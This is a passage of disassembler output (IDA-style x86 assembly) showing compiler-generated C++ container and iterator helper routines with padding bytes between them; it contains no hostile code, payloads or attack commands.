mov edx, [eax]
lea eax, [esp+8]
push edx
push eax
mov ecx, edi
call sub_40113B
mov ecx, [eax]
lea edx, [esp+10h]
push ecx
push edx
mov ecx, esi
call sub_4012E9
mov eax, [eax]
mov ecx, esi
push eax
call sub_401735
mov eax, esi
pop edi
pop esi
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4151B0 proc near ; CODE XREF: sub_401582j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_401D9D
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_4012E9
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40146F
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_401CE9
sub_4151B0 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415220 proc near ; CODE XREF: sub_4012E9j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
push eax
call sub_4020A9
mov ecx, [eax]
add esp, 4
push ecx
lea ecx, [esp+8+var_4]
call sub_401DBB
mov edx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], edx
pop ecx
retn 4
sub_415220 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415260 proc near ; CODE XREF: sub_401D9Dj
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
lea ecx, [esp+4+var_4]
push eax
call sub_401DBB
mov ecx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], ecx
pop ecx
retn 4
sub_415260 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415290 proc near ; CODE XREF: sub_401488j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_401D9D
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_40217B
sub_415290 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4152D0 proc near ; CODE XREF: sub_401258j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 0Ch
lea eax, [esp+0Ch+var_4]
push esi
mov esi, ecx
push eax
call sub_401D9D
mov ecx, [eax]
lea edx, [esp+10h+var_4]
mov [esp+10h+var_8], ecx
push edx
mov ecx, esi
call sub_4012E9
mov eax, [eax]
lea ecx, [esp+10h+var_8]
push ecx
lea ecx, [esp+14h+var_C]
mov [esp+14h+var_C], eax
call sub_401D70
test al, al
jz short loc_41535D
push edi
mov edi, [esp+14h+arg_0]
loc_41530F: ; CODE XREF: sub_4152D0+8Aj
lea ecx, [esp+14h+var_C]
call sub_401FC3
mov edx, [eax]
mov eax, [edi]
cmp edx, eax
jnz short loc_415341
lea eax, [esp+14h+arg_0]
push 0
push eax
lea ecx, [esp+1Ch+var_C]
call sub_401578
mov ecx, [eax]
lea edx, [esp+14h+var_4]
push ecx
push edx
mov ecx, esi
call sub_401FCD
; ---------------------------------------------------------------------------
jmp short loc_41534A
; ---------------------------------------------------------------------------
loc_415341: ; CODE XREF: sub_4152D0+4Ej
lea ecx, [esp+14h+var_C]
call sub_4020C2
loc_41534A: ; CODE XREF: sub_4152D0+6Fj
lea eax, [esp+14h+var_8]
lea ecx, [esp+14h+var_C]
push eax
call sub_401D70
test al, al
jnz short loc_41530F
pop edi
loc_41535D: ; CODE XREF: sub_4152D0+38j
pop esi
add esp, 0Ch
retn 4
sub_4152D0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4153A0 proc near ; CODE XREF: sub_401E38j
push esi
mov esi, ecx
call sub_401ED3
mov eax, esi
pop esi
retn
sub_4153A0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4153C0 proc near ; CODE XREF: sub_401FC3j
mov eax, [ecx]
push eax
call sub_401F19
add esp, 4
retn
sub_4153C0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4153E0 proc near ; CODE XREF: sub_4020C2j
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_4020A9
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_4153E0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415410 proc near ; CODE XREF: sub_401D70j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4015D7
neg al
sbb eax, eax
inc eax
retn 4
sub_415410 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415440 proc near ; CODE XREF: sub_401F23j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_401C8F
sub_415440 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415480 proc near ; CODE XREF: sub_4011B8j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_402257
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401992
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40132F
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_401E33
sub_415480 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4154F0 proc near ; CODE XREF: sub_401992j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
push eax
call sub_401249
mov ecx, [eax]
add esp, 4
push ecx
lea ecx, [esp+8+var_4]
call sub_401CDA
mov edx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], edx
pop ecx
retn 4
sub_4154F0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415530 proc near ; CODE XREF: sub_402257j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
lea ecx, [esp+4+var_4]
push eax
call sub_401CDA
mov ecx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], ecx
pop ecx
retn 4
sub_415530 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415560 proc near ; CODE XREF: sub_401F0Fj
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_402257
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401AAA
sub_415560 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4155A0 proc near ; CODE XREF: sub_401933j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_402257
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401992
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40132F
pop esi
add esp, 0Ch
retn
sub_4155A0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4155F0 proc near ; CODE XREF: sub_401154j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 0Ch
lea eax, [esp+0Ch+var_4]
push esi
mov esi, ecx
push eax
call sub_402257
mov ecx, [eax]
lea edx, [esp+10h+var_4]
mov [esp+10h+var_8], ecx
push edx
mov ecx, esi
call sub_401992
mov eax, [eax]
lea ecx, [esp+10h+var_8]
push ecx
lea ecx, [esp+14h+var_C]
mov [esp+14h+var_C], eax
call sub_401AEB
test al, al
jz short loc_41567D
push edi
mov edi, [esp+14h+arg_0]
loc_41562F: ; CODE XREF: sub_4155F0+8Aj
lea ecx, [esp+14h+var_C]
call sub_4011D1
mov edx, [eax]
mov eax, [edi]
cmp edx, eax
jnz short loc_415661
lea eax, [esp+14h+arg_0]
push 0
push eax
lea ecx, [esp+1Ch+var_C]
call sub_4010DC
mov ecx, [eax]
lea edx, [esp+14h+var_4]
push ecx
push edx
mov ecx, esi
call sub_4017E9
; ---------------------------------------------------------------------------
jmp short loc_41566A
; ---------------------------------------------------------------------------
loc_415661: ; CODE XREF: sub_4155F0+4Ej
lea ecx, [esp+14h+var_C]
call sub_4018C5
loc_41566A: ; CODE XREF: sub_4155F0+6Fj
lea eax, [esp+14h+var_8]
lea ecx, [esp+14h+var_C]
push eax
call sub_401AEB
test al, al
jnz short loc_41562F
pop edi
loc_41567D: ; CODE XREF: sub_4155F0+38j
pop esi
add esp, 0Ch
retn 4
sub_4155F0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4156C0 proc near ; CODE XREF: sub_401037j
push esi
mov esi, ecx
call sub_401E97
mov eax, esi
pop esi
retn
sub_4156C0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4156E0 proc near ; CODE XREF: sub_4011D1j
mov eax, [ecx]
push eax
call sub_402144
add esp, 4
retn
sub_4156E0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415700 proc near ; CODE XREF: sub_4018C5j
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_401249
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_415700 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415730 proc near ; CODE XREF: sub_401AEBj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401EC4
neg al
sbb eax, eax
inc eax
retn 4
sub_415730 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415760 proc near ; CODE XREF: sub_401852j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_401DB6
sub_415760 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4157A0 proc near ; CODE XREF: sub_4014BFj
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_40114A
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401901
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40140B
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_401F14
sub_4157A0 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415810 proc near ; CODE XREF: sub_401901j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
push eax
call sub_401BCC
mov ecx, [eax]
add esp, 4
push ecx
lea ecx, [esp+8+var_4]
call sub_401D7A
mov edx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], edx
pop ecx
retn 4
sub_415810 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415850 proc near ; CODE XREF: sub_40114Aj
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
lea ecx, [esp+4+var_4]
push eax
call sub_401D7A
mov ecx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], ecx
pop ecx
retn 4
sub_415850 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415880 proc near ; CODE XREF: sub_401410j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_40114A
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401D11
sub_415880 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4158C0 proc near ; CODE XREF: sub_401C76j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_40114A
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401901
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40140B
pop esi
add esp, 0Ch
retn
sub_4158C0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415910 proc near ; CODE XREF: sub_40214Ej
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 0Ch
lea eax, [esp+0Ch+var_4]
push esi
mov esi, ecx
push eax
call sub_40114A
mov ecx, [eax]
lea edx, [esp+10h+var_4]
mov [esp+10h+var_8], ecx
push edx
mov ecx, esi
call sub_401901
mov eax, [eax]
lea ecx, [esp+10h+var_8]
push ecx
lea ecx, [esp+14h+var_C]
mov [esp+14h+var_C], eax
call sub_401339
test al, al
jz short loc_41599D
push edi
mov edi, [esp+14h+arg_0]
loc_41594F: ; CODE XREF: sub_415910+8Aj
lea ecx, [esp+14h+var_C]
call sub_40135C
mov edx, [eax]
mov eax, [edi]
cmp edx, eax
jnz short loc_415981
lea eax, [esp+14h+arg_0]
push 0
push eax
lea ecx, [esp+1Ch+var_C]
call sub_401EBF
mov ecx, [eax]
lea edx, [esp+14h+var_4]
push ecx
push edx
mov ecx, esi
call sub_401078
; ---------------------------------------------------------------------------
jmp short loc_41598A
; ---------------------------------------------------------------------------
loc_415981: ; CODE XREF: sub_415910+4Ej
lea ecx, [esp+14h+var_C]
call sub_40118B
loc_41598A: ; CODE XREF: sub_415910+6Fj
lea eax, [esp+14h+var_8]
lea ecx, [esp+14h+var_C]
push eax
call sub_401339
test al, al
jnz short loc_41594F
pop edi
loc_41599D: ; CODE XREF: sub_415910+38j
pop esi
add esp, 0Ch
retn 4
sub_415910 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4159E0 proc near ; CODE XREF: sub_402275j
push esi
mov esi, ecx
call sub_401E42
mov eax, esi
pop esi
retn
sub_4159E0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415A00 proc near ; CODE XREF: sub_40135Cj
mov eax, [ecx]
push eax
call sub_4017E4
add esp, 4
retn
sub_415A00 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415A20 proc near ; CODE XREF: sub_40118Bj
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_401BCC
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_415A20 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415A50 proc near ; CODE XREF: sub_401339j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401456
neg al
sbb eax, eax
inc eax
retn 4
sub_415A50 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415A80 proc near ; CODE XREF: sub_40113Bj
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
push eax
call sub_4020A9
mov ecx, [eax]
add esp, 4
push ecx
lea ecx, [esp+8+var_4]
call sub_40175D
mov edx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], edx
pop ecx
retn 4
sub_415A80 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415AC0 proc near ; CODE XREF: sub_4016D6j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
lea ecx, [esp+4+var_4]
push eax
call sub_40175D
mov ecx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], ecx
pop ecx
retn 4
sub_415AC0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415AF0 proc near ; CODE XREF: sub_40217Bj
arg_4 = byte ptr 8
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_401C62
mov edi, eax
push edi
call sub_401104
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_401ED8
sub_415AF0 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_401104
push edi
mov [eax], ebx
call sub_401104
mov edi, [eax]
push edi
call sub_401104
mov ecx, [eax]
push ecx
call sub_4020A9
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_401F19
add esp, 4
mov ecx, esi
push eax
call sub_4021B7
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
lea ecx, [esp+1Ch]
call sub_401DBB
mov ecx, [eax]
mov eax, [esp+10h]
pop edi
pop esi
mov [eax], ecx
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415B90 proc near ; CODE XREF: sub_401735j
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = byte ptr 0Ch
push esi
mov esi, ecx
lea eax, [esp+4+arg_8]
lea ecx, [esp+4+arg_4]
push eax
call sub_401CBC
test al, al
jz short loc_415BDD
push edi
mov edi, [esp+8+arg_0]
loc_415BAA: ; CODE XREF: sub_415B90+4Aj
lea ecx, [esp+8+arg_4]
call sub_401A5F
push eax
lea ecx, [esp+0Ch+arg_0]
push edi
push ecx
mov ecx, esi
call sub_40217B
; ---------------------------------------------------------------------------
lea ecx, [esp+8+arg_4]
call sub_40210D
lea edx, [esp+8+arg_8]
lea ecx, [esp+8+arg_4]
push edx
call sub_401CBC
test al, al
jnz short loc_415BAA
pop edi
loc_415BDD: ; CODE XREF: sub_415B90+13j
pop esi
retn 0Ch
sub_415B90 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415C10 proc near ; CODE XREF: sub_401FCDj
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_401578
mov ecx, eax
call sub_401C62
mov esi, eax
push esi
call sub_4020A9
push esi
mov ebx, eax
call sub_401104
mov ecx, [eax]
push ecx
call sub_4020A9
mov edx, [ebx]
push esi
mov [eax], edx
call sub_401104
push esi
mov ebx, eax
call sub_4020A9
mov eax, [eax]
push eax
call sub_401104
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_401F19
add esp, 1Ch
mov ecx, edi
push eax
call sub_401500
push esi
mov ecx, edi
call sub_401CE9
sub_415C10 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415CD0 proc near ; CODE XREF: sub_40146Fj
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_401D70
test al, al
jz short loc_415D2A
loc_415CE8: ; CODE XREF: sub_415CD0+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_401578
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401FCD
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_401D70
test al, al
jnz short loc_415CE8
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_415D2A: ; CODE XREF: sub_415CD0+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_415CD0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415D60 proc near ; CODE XREF: sub_401ED8j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_4020F4
sub_415D60 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_415D75
mov edi, esi
loc_415D75: ; CODE XREF: ___:00415D71j
push esi
call sub_4020A9
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_415D8A
mov edi, esi
loc_415D8A: ; CODE XREF: ___:00415D86j
push esi
call sub_401104
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415DB0 proc near ; CODE XREF: sub_401CE9j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_401E1A
sub_415DB0 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415DD0 proc near ; CODE XREF: sub_4020A9j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_415DD0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415DF0 proc near ; CODE XREF: sub_401F19j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_415DF0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415E10 proc near ; CODE XREF: sub_401ED3j
mov eax, ecx
retn
sub_415E10 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415E30 proc near ; CODE XREF: sub_401DBBj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_40175D
mov eax, esi
pop esi
retn 4
sub_415E30 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415E60 proc near ; CODE XREF: sub_401578j
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_4020C2
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_415E60 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415E90 proc near ; CODE XREF: sub_4015D7j
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_415E90 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415EC0 proc near ; CODE XREF: sub_401AAAj
arg_4 = byte ptr 8
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_401F8C
mov edi, eax
push edi
call sub_401163
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_401C8F
sub_415EC0 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_401163
push edi
mov [eax], ebx
call sub_401163
mov edi, [eax]
push edi
call sub_401163
mov ecx, [eax]
push ecx
call sub_401249
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_402144
add esp, 4
mov ecx, esi
push eax
call sub_4015F0
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
lea ecx, [esp+1Ch]
call sub_401CDA
mov ecx, [eax]
mov eax, [esp+10h]
pop edi
pop esi
mov [eax], ecx
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415F60 proc near ; CODE XREF: sub_4017E9j
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_4010DC
mov ecx, eax
call sub_401F8C
mov esi, eax
push esi
call sub_401249
push esi
mov ebx, eax
call sub_401163
mov ecx, [eax]
push ecx
call sub_401249
mov edx, [ebx]
push esi
mov [eax], edx
call sub_401163
push esi
mov ebx, eax
call sub_401249
mov eax, [eax]
push eax
call sub_401163
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_402144
add esp, 1Ch
mov ecx, edi
push eax
call sub_401D61
push esi
mov ecx, edi
call sub_401E33
sub_415F60 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416020 proc near ; CODE XREF: sub_40132Fj
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_401AEB
test al, al
jz short loc_41607A
loc_416038: ; CODE XREF: sub_416020+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_4010DC
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_4017E9
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_401AEB
test al, al
jnz short loc_416038
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
